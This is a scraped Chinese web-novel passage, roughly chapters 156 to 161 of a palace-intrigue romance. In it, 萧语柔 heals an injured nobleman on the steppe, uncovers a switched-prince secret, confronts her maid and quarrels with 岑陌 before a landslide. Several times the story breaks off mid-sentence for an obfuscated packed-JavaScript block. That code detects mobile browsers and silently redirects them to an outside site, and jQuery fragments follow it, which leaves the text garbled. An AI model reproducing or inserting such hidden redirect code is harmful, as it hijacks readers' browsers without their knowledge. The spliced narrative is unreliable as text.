又走走停停半月有余,车驾终于进入西陲草原,来到与大晋交好的蒙古可汗部落。春风拂面,带来青草的清香。 广袤的草原上,洁白的毡账点缀其间,如天上散落的珍珠。碧蓝如洗的天空下,苍鹰唳鸣盘旋,自由翱翔。远处,牛羊成群,牧童的歌声随风飘来。 这是萧语柔两世为人第一次踏上草原。她站在马车前,深深吸了一口气,感受着这片土地的气息。 虽然常听人说起塞外风光,但亲眼所见这与龙都迥异的景致,仍让她惊叹不已。 “我们的草原美吗?” 一个略带生涩的大晋官话传来。萧语柔抬头,只见一位身着红衣、戴着异域头饰的少女策马停在她身旁。少女的眼睛明亮如星,笑容灿烂如阳。 见这少女态度诚恳,萧语柔浅笑道:“确实很美。天似穹庐,笼盖四野。漫山青翠放羊群,骏马纵情醉青天。” “这首诗出自你们大晋?”红衣少女眼中闪着光芒,兴奋地拍手,“写得真好。”她的马儿似乎也感受到主人的喜悦,轻轻嘶鸣。 “是景致美。”萧语柔笑道,目光扫过远处连绵的草原。 红衣少女打量着萧语柔,心想这大晋女子倒不似阿姐阿兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一身靛蓝锦袍,头戴紫金冠,在火光的映衬下愈发尊贵。那双凤眸淡漠地望着前方,举手投足间尽显帝王之气。即便坐在轮椅上,也丝毫不减他的威仪。 萧语柔正看得出神,忽然感觉有道灼热的视线扫过来。抬眼望去,正对上那双深邃的眼眸。四目相对的瞬间,她分明看到他唇角微扬,可再定睛时,他已经转向身边的大臣们说话去了。 夜风吹拂,带来阵阵烤肉的香气。远处传来欢快的笑声,蒙古勇士们正在比试摔跤。萧语柔端着酒杯,借着酒意放任自己的目光追随着那个身影。 “看得这么入迷?” 身旁突然响起的声音让萧语柔回过神来,却见一位身着素衣的女子正笑盈盈地看着她。女子眉目如画,却不施粉黛,一身素衣更显得清新脱俗。 “你很喜欢他吧?”女子眨了眨眼,语气中带着几分调侃。 萧语柔并未否认,反而大方承认:“是啊,我喜欢他。” “噗嗤——”女子笑出声来,眼角弯成了月牙,“头回见这么真性情的大晋贵女。在我们草原上,姑娘们倒是经常这样直白地表达爱意。” 她在萧语柔身边坐下,随手拿起酒壶给自己倒了杯酒,动作豪迈得一点也不像大家闺秀。 萧语柔微微一笑:“没见过你这么接地气的贵人,珈洛公主。” 珈洛惊讶地瞪大眼睛,差点打翻了手中的酒杯:“你怎么认出我来的?我明明换了普通衣裳,连马都换了!” “我对蒙古话一窍不通,但特意学过一些常用词。譬如方才来找你那位,尊你为殿下。再加上你的举止气度,猜出你的身份并不难。”萧语柔解释道,目光温和道。 珈洛泄气地叹了口气,撇了撇嘴:“原来是这里露了马脚。”她仰头喝了口酒,很快又来了兴致,“你对他动心了吧?他根本不像能打的,毕竟......” “在我眼里,他就是最好的勇士。”萧语柔打断她的话,语气坚定,“不管他是否需要代步工具。” 珈洛顺着她的目光看向岑陌,不得不承认他确实风姿卓绝。只是在她心中,更喜欢草原上那些威武雄壮的汉子。 夜色渐深,篝火映照下的影子拉得老长。远处传来悠扬的马头琴声,混合着欢声笑语,让人不由得沉醉其中。 “对了,听说你们有位公子被马踢伤了?”珈洛忽然问道,神色间带着几分担忧。 “是有这么回事。”萧语柔轻抿了一口酒,眼底闪过一丝思索。 “那人还活着吗?”珈洛紧张地问,“那些马可是我二王兄亲自挑选的,要是出了人命......” 萧语柔心中一动。这件事竟然牵扯到蒙古王子,看来有人是想借此挑起两国矛盾。等龙都那边局势一乱,皇上就没精力追究其他事了。 正想着,远处传来可汗的呼唤声。珈洛站起身,临走前凑到萧语柔耳边:“明天有场狩猎,咱俩一块走,我也给你介绍个好男人。草原上的勇士,比那些文弱书生强多了。” 说完朝萧语柔挤了挤眼睛,一溜烟跑了。留下一阵淡淡的草药香。 紫薇在一旁低声道,“县主,听说这狩猎要持续好几天。赢的人还可以求赐婚呢。” 萧语柔喝了些酒,觉得有些燥热,便带着紫薇和宓漠到不远处的篝火边散步。夜风吹来,带着草原特有的清冽气息。 四周都有护卫把守,火光通明,本该很安全。可没走多远,就听到一阵拳打脚踢的闷响,还夹杂着压抑的呻吟声。 宓漠立即拔剑:“什么人?” 两个穿蒙古护卫服饰的男人从阴影中现身,用生硬的大晋官话解释:“我等是王上的亲卫,在处理私事。” 萧语柔眼尖地看到阴影里趴着一个人影,那人用蒙古语不停说着什么,声音中带着恐惧和哀求。虽然听不懂具体内容,但那种绝望的语气让人心惊。 她转头对紫薇低语:“去告诉珈洛公主。” 为了拖延时间,萧语柔对两个护卫说:“我的耳环在这片丢了,能帮我找找吗?这是珈洛公主送的。” 那两人对视一眼,犹豫了下:“不能耽搁太久。”说着弯腰假装寻找。 等他们发现紫薇不见了,立即拖着那人匆匆离开,留下一地凌乱的脚印和几滴暗色的血迹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧语柔攥紧铜扣,心中思绪翻涌。这件事恐怕没那么简单。 第一百五十七章 宁公子 毡房内人影憧憧,三三两两的男女宾客正在低声交谈。 萧太医满脸焦虑,快步走到萧语柔身边。他生怕惊扰了病榻上的人,于是压低声音道,:“本不该打扰县主,只是这宁夫人与宁王殿下颇有渊源,虽说殿下并不知晓此事。” 停顿片刻又道:“宁夫人为人善良,又出自怀远伯府,与我张家也有几分情面,老朽这才厚着脸面来求县主。” 萧语柔打量着眼前的老者。萧太医年过半百,鬓角已见斑白,此刻却如同一个做错事的孩子般局促不安。她心下了然,虽不知宁夫人与岑陌之间究竟有何恩情,但见萧太医如此放低姿态,她也不好拒绝。 “我需要清场。”目光扫过房内众人,她轻声说道。 萧太医如蒙大赦,连连点头:“这是自然,这是自然。”他转身招呼众人离开,很快毡房内只剩下萧语柔与病榻上的宁公子。 萧语柔走近病榻,仔细打量着眼前的伤者。宁公子面色苍白如纸,呼吸微弱,腹部一片青紫,两根肋骨断裂,内伤严重。若非萧太医医术高明,及时施救,只怕早已命丧黄泉。 她从云章医典中取出一粒玉髓参制成的药丸,小心翼翼地喂宁公子服下。随后又兑换了一小瓶治疗内伤的药剂,看着空间中珍贵药材骤减一半,连蓬莱玉珊都少了两片花瓣,不由得暗自心疼。 但救人要紧。她深吸一口气,将这些杂念抛之脑后。 取出金针时,她的手稳若磐石。一根根金针在她指尖翻飞,准确地刺入穴位。时间在专注中悄然流逝,帐外传来几声狼嚎,草原的夜风呜咽着掠过毡房。 直到天边泛起鱼肚白,最后那截明晃晃的银针被她轻轻抽回。双手酸痛难忍,手腕处隐隐作痛,却也顾不得休息。她点燃安神香,又将一些药材捣碎调制,这才拉开毡账。 岑陌正坐在门外,目光沉沉地望着她。晨光为他镀上一层柔和的金边,却掩不住他眼底的疲惫。显然,他在外守了整整一夜。 “王爷怎么在这?”她有些惊讶,声音里带着几分疲惫的沙哑。 “如何了?”岑陌没有回答她的问题,目光落在她泛白的指尖上。 宁师书和萧太医闻声赶来,萧语柔朝他们点头示意:“性命无忧,后续还需萧太医照料。” 萧太医快步入内查看,很快传来惊喜的声音:“气息平稳,已经脱离危险了!老夫行医数十载,还从未见过如此神奇的医术!” 宁洙激动得老泪纵横,向萧语柔和岑陌深深一礼:“下官感激不尽,此恩此德,没齐难报!” 岑陌面无表情地看了他一眼,示意萧语柔离开。晨风中,她的脚步有些虚浮,他不动声色地扶了一把。 回程路上,萧语柔忍不住问道:“那些珍贵药材,是王爷送去的吧?”她记得昨夜看到的药材中,有几味极为罕见,正是她前些日子向岑陌提起过的。 “举手之劳罢了。”岑陌语气淡淡,目光却始终没有离开她疲惫的侧脸。 萧语柔抿唇一笑,悄悄握住他的手:“我知道王爷是为我守了一夜,不必生气。能帮到人,我也很开心。” 晨风拂过草原,白色的毡账如云朵般漂浮在绿色的海洋中。远处传来马蹄声,牧民们开始了新一天的放牧。她的衣袂与他的交织在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629853|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起,仿佛永远不会分离。 回到住处,燕儿立刻迎上来,小脸上写满担忧:“小姐,昨晚有人想骗萧瑾出去。” “怎么回事?”萧语柔蹙眉。 “说是要送衣裳给您,那人鬼鬼祟祟的,燕儿觉得不对劲。”燕儿绞着手指,“燕儿机灵,让她带了墨兰姐姐的旧衣裳去。” 萧语柔欣慰地摸了摸燕儿的头:“做得好,去休息吧。” 她简单梳洗后便睡下了,这一觉睡得极沉。再醒来已是下午,阳光透过毡房的缝隙洒进来。墨兰端来热水,告诉她宁夫人已来访两次。 “夫人看起来很着急,说是要当面向县主道谢。”墨兰一边服侍萧语柔梳洗,一边说道。 萧语柔注意到墨兰一改往日艳丽装扮,穿着朴素旧衣,不禁若有所思。这丫头向来爱美,今日这般改变,想必是昨夜之事让她有所警觉。 “让人送信给宁夫人,就说我晚些时候会去拜访。”萧语柔说着,目光落在铜镜中自己略显憔悴的脸上。昨夜的施救虽然耗费心力,但能救回一条性命,这些付出都是值得的。 墨兰应声退下,萧语柔独自坐在铜镜前,思绪却飘向了那个守候了她一夜的身影。岑陌虽然表面冷淡,但那些细微的关心,却总是不经意间流露。就像那些珍贵的药材,他从不会说,却都默默准备好了。 窗外传来马蹄声,萧语柔起身走到窗边。草原上的风依旧清冽,带着青草的芬芳。远处的毡房群落间,几个孩童正在追逐嬉戏,欢声笑语随风飘来。 这一刻,她忽然觉得,这片陌生的草原,似乎也没那么令人害怕了。 第一百五十八章 墨兰请罚(一) “之前是奴婢不懂事。”墨兰跪在地上,双手紧紧攥着裙角,声音带着几分颤抖,“请小姐责罚。” 萧语柔站在窗前,看着外面渐渐暗沉的天色。秋风掠过草原,带来阵阵凉意。她淡淡打量着墨兰,这个从小跟在自己身边的丫鬟,此刻正低着头,肩膀微微发抖。 看来是长公主那边给了警告。 紫薇定是去长公主那边通风报信了。这些日子以来的种种异常,此刻都有了解释。 “起来吧。”萧语柔转过身,语气平静,“传膳吧。” 墨兰愣了一下,似乎没想到小姐会这么轻易放过自己。她小心翼翼地抬头,正对上萧语柔平静无波的眼神,心中不由得一颤。 账外传来脚步声,燕儿掀开帘子探头进来:“小姐,厨房那边说膳食准备好了,要现在端上来吗?” “嗯。”萧语柔点头,“让他们上菜吧。” 用过晚膳不久,宁夫人便来访。想必是专门派人在外守着等消息。萧语柔暗自摇头,这位宁夫人的心思,当真是细腻。 宁夫人生得纤弱温柔,一袭绛紫色衣裙,堕马髻衬得她更显柔弱。若不是亲眼所见,谁能想到她已经有这么大的儿子。她的眉眼间带着几分疲惫,想必是赶路而来。 “县主。”宁夫人福身行礼,动作优雅从容。 虽说按品级,宁师书夫人并不需要给一个县主行礼。但她还是这样做了。这份谦逊,让萧语柔心中一暖。 “宁夫人太客气了。”萧语柔连忙回礼,“夜深露重,夫人不必多礼。” 宁夫人看向萧语柔的目光中,带着几分慈爱。那是长辈看晚辈才会有的神情。她缓步走到萧语柔身边,轻轻拉起她的手:“让县主受惊了。” 萧语柔知道她指的是什么,微微摇头:“夫人说笑了,不过是些小事。” 二人边磕牙边唠嗑,都默契地避开了那日堕马的事。渐渐地,话题转到了宁夫人当年对岑陌的恩情上。 “墨兰,去取一壶马奶酒来。”萧语柔突然开口,打断了宁夫人即将出口的话。 墨兰站在一旁,身子微微一颤:“让燕儿去吧...” “我让你去。”萧语柔目光淡淡地看着她,语气不容置疑,“听明白了吗?” 墨兰咬了咬唇,低声应是。她转身离开时,脚步有些踉跄。 待墨兰离开,燕儿也识趣地守在了毡账外。秋夜的风吹动帘子,带来远处马群的嘶鸣声。 宁夫人虽不明就里,但也配合地等人都退下,才开始讲述往事。她的声音轻柔,仿佛在讲一个遥远的故事。 那是她年轻时的一个雨夜。她入宫给姐姐晔妃请安,因暴雨滞留宫中。宫中的夜晚格外寂静,连雨打芭蕉的声音都显得格外清晰。 年少好奇,她拉着姐姐夜游御梅园。谁知雨停月明之时,竟在鱼池边听到婴儿啼哭。那声音微弱却清晰,像是从水中传来。 “我当时也没多想。”宁夫人说到这里,眼中闪过一丝追忆,“就这么跳下去了。水很冷,但我只记得要救那个孩子。” 萧语柔听得入神,不自觉地握紧了手中的茶盏。 “正巧遇上找孩子的长公主和洛贵妃。”宁夫人说到这里,语气中带着几分唏嘘,“可惜另一位小皇子,在不远处的水池里......” 萧语柔心中一动:“那会儿一胎生了俩小皇子?” “是啊。”宁夫人点头,眼中闪过一丝复杂,“那日紫微星现,本是吉兆。谁能想到......” 她没有说下去,只是握住萧语柔的手,语重心长道:“这事牵扯到后宫那些个破事,便是宁王也不便多知。县主切记。” 萧语柔郑重应下。若非宁夫人当年救了岑陌一命,她又怎会有今日的姻缘? 送走宁夫人后,萧语柔独自坐在毡账中,思绪万千。账外的风声渐大,吹得火烛摇曳。 “墨兰姐姐,你咋在这晃悠呢?”外头传来燕儿清脆的声音,“卡里还剩几个子儿?” 萧语柔神色一暗,手指无意识地摩挲着茶盏边缘。 “没有。”墨兰干巴巴地应了一声,剜了燕儿一眼才进来 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迎面而来的钱涛让她微微一怔。他一身月白色锦袍,衣袂飘飘,举手投足间尽显世家公子的风范。从进京至今,这位大公子一直与她保持着恰到好处的距离,今日倒是主动靠近了。 “大公子。”她微微颔首,目光不着痕迹地打量着四周。 “不介意同行一程吧。”钱涛温和一笑,眉眼间带着几分病态的苍白。 萧语柔下意识寻找钱忠的身影,往日这对兄弟形影不离:“二公子呢?” “去猎鹰了。”钱涛轻描淡写道,指尖轻轻摩挲着衣袖,“我这身子骨,可受不了那般剧烈运动。” “猎鹰?”萧语柔心头一紧,手中的缰绳不自觉收紧。 宁公子的事故才过去不久,那日的场景仍历历在目。马匹失控,人仰马翻,鲜血染红了草地。钱忠怎敢如此莽撞? “无需担心,他是陪蒙古大公主去的。”钱涛看出她的忧虑,语气轻松,“珈洛公主骑术了得,有她在旁照应,不会出事。” 第一百五十九章 蒙古大公主 萧语柔若有所思。 前世传闻,这位蒙古大公主确实骁勇善战,差点就成了蒙古历史上第一位女王。她带兵征战,所向披靡,可惜最后功亏一篑,最后连骨头渣子都找不到。如今看来,她与钱忠走得颇近,难道... “县主在想什么?”钱涛的声音打断了她的思绪。 “没什么。”萧语柔收敛心神,“只是担心二公子的安危。” “二弟从小习武,身手不差。”钱涛笑道,“倒是县主,听闻你擅长骑射?” 萧语柔不动声色:“略懂一二。” “难怪宁王对你青眼有加。”钱涛意味深长地看了她一眼,“他向来喜欢能文能武的女子。” 这话听着没什么问题,却让萧语柔心底泛起一丝不悦。岑陌喜欢什么样的女子,与钱涛有什么关系? 二人并肩而行,钱涛谈吐温雅,举止得体,丝毫不令人生厌。他说起京中趣事,说起诗词歌赋,说起江南美景。萧语柔渐渐放下戒心,直到人声渐起,才与他分道扬镳。 燕儿早已等在毡账外,小脸上写满了焦急。 “小姐,紫薇姐姐回来了!长公主还把她们的**契给送来了。” 萧语柔眉头微蹙:“进去看看。”她刚要迈步,又被燕儿拉住。 “小姐,刚刚过去的那个帅哥是谁?”燕儿压低声音,眼中带着几分担忧,“王爷似乎不太喜欢他。” “王爷?” “王爷刚来过,又走了。”燕儿偷偷看了眼四周,“他看到小姐和那位公子说话,脸色可不太好看。” 萧语柔心头一跳,随即又暗自摇头。岑陌向来喜怒不形于色,燕儿怎会看出他的情绪?怕是自己想多了。 毡账内,紫薇和墨兰跪在地上。 “小姐。”紫薇率先改口,声音还带着几分哽咽。 墨兰不情不愿地跟着叫了声,眼神却始终游移不定。 萧语柔让燕儿带紫薇去处理伤口,单独留下墨兰。帐内一时寂静,只听得见外面的风声。 “你可曾想过,有朝一日会成为我的丫环?”萧语柔轻声问道。 “我能服侍县主,是我的荣幸。”墨兰伏地应道,声音恭敬。 萧语柔轻笑:“你既忠心,我自然不会亏待你。”她顿了顿,目光落在墨兰身上,“你今年也十九了吧,有没有看上的人呀?” 墨兰猛地抬头,眼神惊慌:“姑娘这是什么意思啊?” “自然是为你说门亲事。”萧语柔慢条斯理道,手指轻轻敲击着桌面,“你若有中意的人,我就成人之美吧。若是没有,我也可为你物色一个。” 墨兰眼中闪过一丝不甘:“小姐,奴婢不想嫁给下人。”她的手指紧紧攥着衣角,指节泛白。 “良民也无妨。” “不,奴婢的意思是...”墨兰咬牙,眼中闪过一丝野心,“姑娘将来要嫁到宁王府去,王爷必然要纳妾。不如让身边的人做个姨娘,也好替小姐分忧。” 听到岑陌要纳妾这几个字,萧语柔心头一酸。这个问题她一直在装鸵鸟。古代男子三妻四妾再正常不过,可她却无法坦然接受。 “你是说,让你去做那个姨娘?”她强压下心中的不适。 “我愿意替姑娘分担。况且奴婢的**契在小姐手中,日后也不敢背叛小姐。”墨兰叩首,语气谦卑。 “你想得很周到。”萧语柔轻声道,眼中闪过一丝冷意,“可若我不愿意呢?” “姑娘为什么不同意啊?宁王迟早...” “他的事自有他的道理。”萧语柔打断她,声音陡然冷了下来,“我是在问你,你凭什么觉得我会提拔你?要知道,你本是长公主安插在我身边的眼线,随时可能取我性命。” 墨兰喉头一紧,脸色瞬间煞白。 难道萧语柔还想对付长公主?那可是抚养宁王长大的姑姑,更是皇上的亲姐妹!她不要命了吗? “姑娘你的意思该不会是...” “我向来喜欢聪明人。”萧语柔意味深长地看着她。 墨兰咬牙,她已经习惯了锦衣玉食的生活,不愿再回到那种战战兢兢的日子。况且,若能攀上宁王,何愁不能飞黄腾达? “奴婢知道的不多,只听府里老人提过一些往事。”她深吸一口气,“说是长公主年轻时倾心驸马,可驸马心有所属。长公主抢先一步求皇上赐婚,还让那女子入了宫。据传王爷是 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“王爷回来了!”燕儿的声音透着几分惊喜。 萧语柔眉头微蹙:“你先下去吧,改日再说。” 墨兰咬着唇退下,眼中闪过一丝阴霾。她知道,自己已经没有退路了。要么背叛长公主,要么被萧语柔毁了前程。 岑陌大步走进来,身上还带着风尘仆仆的气息。他目光在萧语柔脸上停留片刻,似乎想说什么,却又沉默不语。 “王爷可是有事?”萧语柔轻声问道。 岑陌看了眼帐外:“钱涛可曾对你说什么?” 原来是为了这个。萧语柔心中一动:“没什么,只是闲聊几句。” “以后少与他来往。”岑陌淡淡道,“他不是表面看起来那么简单。” 萧语柔点头应下,心中却泛起涟漪。岑陌这是在关心她吗?还是另有隐情? 帐外又传来一阵喧闹,似乎是钱忠回来了。他的声音中带着几分兴奋:“珈洛公主的箭法真是绝了!” 萧语柔注意到,岑陌的眉头微微皱起。 第一百六十章 怒气 墨兰的话语在耳边回响,萧语柔眉头微蹙。 那段不为人知的对话在她脑海中不断浮现,如同挥之不去的阴影。 “洛贵妃信了吗?”长公主冰冷的声音仿佛还在耳边。 而韶宏的回答却透着几分阴狠,字字如刀,刺痛着萧语柔的神经。 “孩子已死,她若想保住贵妃之位,这孩子不是她的也得是她的。” 萧语柔指尖微颤,茶水在杯中激起细小的涟漪。这些碎片般的线索,与宁夫人今早说的话逐渐串联,编织成一张令人窒息的大网。 “狸猫换太子...”她低声呢喃,凌明偷听到的那句话又浮现在脑海。茶香袅袅升起,却驱散不了心头的阴霾。 抬眼看向面前脸色苍白的墨兰,萧语柔眸光一冷:“这个秘密,你若敢说出去,必死无疑。”她的声音很轻,却如同寒冰般渗入骨髓。 墨兰双手紧握衣角:“奴婢不敢...”声音颤抖得如同风中的落桂。 “你觉得长公主会放过你吗?”萧语柔冷笑,起身踱步到窗前,“你一路上的小动作,她早就看在眼里。以为躲在暗处就安全了?” 墨兰猛地站起身,椅子在地上划出刺耳的声响:“你在害我!” “彼此彼此。”萧语柔神色淡然,手指轻轻拨弄着窗台上的盆栽,“我给你两个选择:一是留下来,我不干涉你的事。二是带着银钱远走高飞,保住性命。” 墨兰咬着唇,眼中闪过挣扎和犹豫,最终转身跑了出去,裙角带起一阵风。 “姐姐,她说的那些话是什么意思?”躲在暗处的萧瑾走了出来,眼中满是困惑。 “不懂最好。”萧语柔轻叹,伸手揉了揉妹妹的发顶。有些事情,知道得越少越安全。 长公主用这个秘密控制岑陌,她必须查个水落石出。更何况,父母之死与长公主也脱不开干系。想到这里,萧语柔的手不自觉地握紧了。 窗外的雨渐渐变大,打在窗棂上发出清脆的声响。萧语柔望着远处朦胧的山影,思绪纷乱。 入夜,岑陌来用膳时,墨兰依旧不见踪影。烛光摇曳,在墙上投下晃动的影子。 看着满桌的烤羊肉和兔肉,香气四溢,萧语柔挑眉:“这是谁打的猎物?” “本王亲手所获。”岑陌淡淡开口,目光落在她脸上,“若不够,本王再去打些来。” 萧语柔立刻会意,唇角勾起一抹笑意:“王爷真厉害,正合我胃口。”她夹起一块羊肉,细细品味。 “比钱公子还厉害?”岑陌意有所指,眼中闪过一丝不易察觉的醋意。 “那是自然,王爷文武双全,箭术无双,世间少有。”萧语柔恭维道。 岑陌显然很吃这一套,唇角微扬。烛光下,他的侧脸显得格外柔和。 正吃着,外面传来脚步声,草原上的太子殿下亲自来访。 “听说蒙古大王子年过三十,却膝下单薄。倒是大公主子嗣满堂,深得可汗宠爱。” 萧语柔状似随意地说着。 “阿柔想生几个?”岑陌突然目光灼灼地看着她问道。 “瞧这位爷想挑多少,大不了让姨娘们......” 话未说完,岑陌脸色沉了下来。 “在你眼里,我就是这般贪恋美色之人?”岑陌压着怒气,起身离去。 “姐姐,这哥们儿咋就炸毛了?”萧瑾不解地看着姐姐。 萧语柔靠在软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634382|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻上,轻叹一声。烛光映照着她略显疲惫的面容。 她知道岑陌生气为何,是她的不信任伤了他的心。那一瞬间的失望和受伤,她都看在眼里。 可她见过太多权贵三妻四妾,尤其是岑陌这般显赫的身份。从前那些贵女避之不及,是因他腿疾在身。如今他前程似锦,伤势痊愈,那些人还会退避三舍吗? 更何况,他还要去争那至高之位。权力的游戏中,感情往往是最脆弱的。 历朝历代,哪个帝王只守一人?即便是开国君主,也未必能做到一生一世。 只是想到父亲对母亲的一生一世,再想到穆秋煜的背叛,即便知道岑陌真心待她,她也不愿放下那一丝戒备。这道坎,横亘在心头,挥之不去。 连着几日阴雨绵绵,岑陌再未露面。萧语柔每日站在廊下,看着雨水打湿庭院中的花草,心绪难平。 待雨停后,蒙古可汗便安排众人去玉泉行宫。晨光熹微,马车队伍缓缓启程。 “五妹妹。”钱忠笑着来到马车前,骑在马上的身影挺拔如松,“今日天色正好,不如一起去采药?听说这山上有不少大晋少见的药材。” 提起药材,萧语柔来了兴致。雨后的空气清新,远处群山如黛,正是采药的好时节。 带上萧瑾、紫薇和阿莺,留下宓漠与墨兰看守马车,一行人策马上山。马蹄踏过泥泞的山路,溅起细小的水花。 山间雾气缭绕,树桂上还挂着晶莹的水珠。远处传来鸟鸣,清脆悦耳。萧语柔深吸一口气,试图平复内心的烦躁。 泥泞的山路上,马蹄声渐行渐远。阳光透过树桂的缝隙,在地上投下斑驳的光影。这一刻的宁静,却让萧语柔感到莫名的不安。 第一百六十一章 守护 紫薇身上的伤口还在隐隐作痛,山风吹过,牵动着伤处传来阵阵刺痛。她看着燕儿忙碌的身影,还是咬着牙跟着弯下腰,小心翼翼地挖掘着药材。 草原的风带着特有的清新,夹杂着各种药草的香气,远处群山连绵,云雾缭绕。阳光透过云层洒下斑驳的光影,将草地染上一层金色。 “燕儿,这边的当归挖完了吗?”紫薇揉了揉酸痛的腰,抬头问道。 燕儿擦了擦额头的汗珠,笑着回应:“快了快了,这片地方的药材可真多。” 不知不觉间,几人已经远离了大队伍,只能隐约看到远处影影绰绰的人影。山风渐起,带来一丝凉意。 萧语柔停下手中的动作,抬头望了眼远处渐渐暗沉的天色,眉头微蹙:“别再往前了,这里离大营太远。” 钱忠应了一声,将药篓放在一旁,正准备收拾东西返程。忽然,一阵急促的马蹄声由远及近,他循声望去,只见一个熟悉的身影正朝这边走来。 “大公子?”钱忠惊讶地喊道。 钱涛脸上带着几分歉意,身上的衣衫有些凌乱:“我的马跑了。” 萧语柔下意识环顾四周,果然没看到钱涛的坐骑。她蹙眉问道:“大公子怎会来这里?这片区域并不安全。” “遇到了它。”钱涛微微一笑,从怀中小心翼翼地抱出一只赤红色的小狐狸。小家伙蜷缩成一团,像极了一只慵懒的猫儿,但身上的伤痕却触目惊心。 萧语柔目光一凝,快步上前查看:“这是怎么回事?” “刚才看到它被野狼追赶,情况很危急。”钱涛轻声说道,手指轻轻抚摸着小狐狸的毛发。 钱忠立刻紧张起来,快步走到钱涛身边:“大哥没受伤吧?” “只是些许擦伤,不碍事。”钱涛轻描淡写地说,但萧语柔敏锐地注意到他腕间的衣袖已经被鲜血浸透。 虽然不愿过分亲近,但眼下这种情况,她也不能见死不救:“赶紧包扎一下,再这样下去会感染的。” 几人找了处避风的山洞暂作休息。紫薇帮钱涛卷起衣袖,露出手臂上狰狞的咬伤,深可见骨。伤口周围的皮肉已经开始发紫,显然是毒素开始扩散的征兆。 “钱忠,去找些山泉水来。”萧语柔一边吩咐,一边快速在周围采集药材,“燕儿,把我的药箱拿来。” 清洗伤口时,钱涛眉头都没皱一下,但萧语柔还是能感觉到他身体的轻微颤抖。她动作放得更轻了些,一边清理伤口一边说道:“大公子为救一只小狐狸,值得吗?” 钱涛望着不远处正在喝水的小狐狸,眼神温和:“生命皆平等,若是见死不救,那和禽兽何异?” 萧语柔没有接话,专心处理着伤口。捣碎药材、敷药、包扎,一气呵成。随后,她又给小狐狸处理了伤势。 “它叫什么名字呀?”燕儿蹲在一旁,好奇地问道。 钱涛看着此刻已经依偎在萧语柔身边的小狐狸,温和地说:“还未取名。它生于草原,应当留在这片天地间。要是起个名号,再放生时,恐怕我会舍不得。” 萧语柔收回抚摸小狐狸的手,站起身来:“天色不早,该回去了。” 准备离开时,小狐狸却紧跟着钱涛的脚步,寸步不离。那双圆溜溜的眼睛中满是依恋,让人不忍拒绝。 钱忠笑道:“大哥,带它回去吧。这小家伙明显已经认定你了。” 钱涛望着脚边的小生灵,轻叹一声:“跟了我,你就失去了这片广阔天地。这里才是你真正的家。” 小狐狸像是听懂了他的话,轻轻跃上他的掌心,用小脑袋蹭了蹭他的手心。 几人说说笑笑往回走,远处的天际突然传来一声闷雷。乌云以肉眼可见的速度**,眨眼间便遮蔽了整片天空。 一声惊雷炸响,暴雨倾盆而下。 远处传来此起彼伏的马匹嘶鸣和人群的尖叫声。 “不好,山石滑坡了!”钱涛脸色骤变,“快找开阔地避险!这里太危险了!” 萧语柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642092|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心头一紧,脸色瞬间惨白。她的脑海中只剩下一个念头——岑陌还在那边。 他的腿刚换过药,现在根本无法行走。 虽然知道皇上太后身边高手如云,但岑陌作为护卫,一定在最危险的位置。这个倔强的男人,从来都把自己的安危放在最后。 “雨太大了,我们必须立刻撤离!”钱忠扯着嗓子喊道,“再不走就来不及了!” 话音未落,萧语柔已经冲进雨幕中。雨水打在脸上生疼,但她顾不得这些。 “五妹妹!”钱涛想追上去,却被钱忠死死拽住。 “大哥,你现在这个状态追上去只会拖累她!我们要相信县主的医术!” 萧语柔在暴雨中艰难前行,泥泞的地面让她一次次摔倒,但她立刻爬起来继续往前跑。脑海中全是岑陌的身影。 他那么缺乏安全感的一个人,自己为什么要和他赌气? 为什么要说那些伤人的话? 为什么要把他一个人丢在那里? 等到了山谷,眼前的景象让她心如刀绞。 山石淤泥几乎填满了整个山谷,到处都是哭喊声和呻吟声。有人在泥水中挣扎,有人在呼救,还有人一动不动地躺在地上。 